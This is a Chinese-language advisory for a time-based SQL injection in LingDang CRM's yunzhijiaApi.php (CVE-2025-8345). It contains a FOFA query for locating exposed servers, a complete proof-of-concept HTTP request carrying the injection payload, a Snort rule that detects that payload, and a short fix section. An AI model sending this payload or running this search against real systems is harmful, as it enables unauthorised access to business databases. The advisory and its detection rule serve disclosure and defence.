

灵当CRM yunzhijiaApi.php SQL注入漏洞 (CVE-2025-8345)

灵当CRM yunzhijiaApi.php SQL注入漏洞（CVE-2025-8345），攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

灵当CRM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="crmcommon/js/jquery/jquery-1.10.1.min.js" || body="<http://localhost:8088/crm/index.php>" && body="ldcrm.base.js" || title="灵当CRM"

POC/EXP:

```
GET /crm/weixinApp/yunzhijia/yunzhijiaApi.php?function=delete_user&user_list={%22name%22:%22admin%27)+AND+6731=BENCHMARK(20000000,MD5(0x79414d76))--+SYit%22} HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```

sonrt规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"LingDang CRM - MySQL Time-Based SQLi via yunzhijiaApi.php (CVE-2025-  
8345)";  
  flow:to_server,established;  
  content:"GET"; http_method;  
  content:"/crm/weixinApp/yunzhijia/yunzhijiaApi.php"; http_uri;  
  content:"function=delete_user"; http_uri;  
  pcre:"/user_list=\{[^\}]*'\)\s+AND\s+\d+=BENCHMARK\(/i";  
  metadata:cve CVE-2025-8345;  
  metadata:affected_product "灵当CRM系统";  
  metadata:vulnerability_type "MySQL Time-Based SQL Injection";  
  classtype:sql-injection;  
  sid:1000396;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。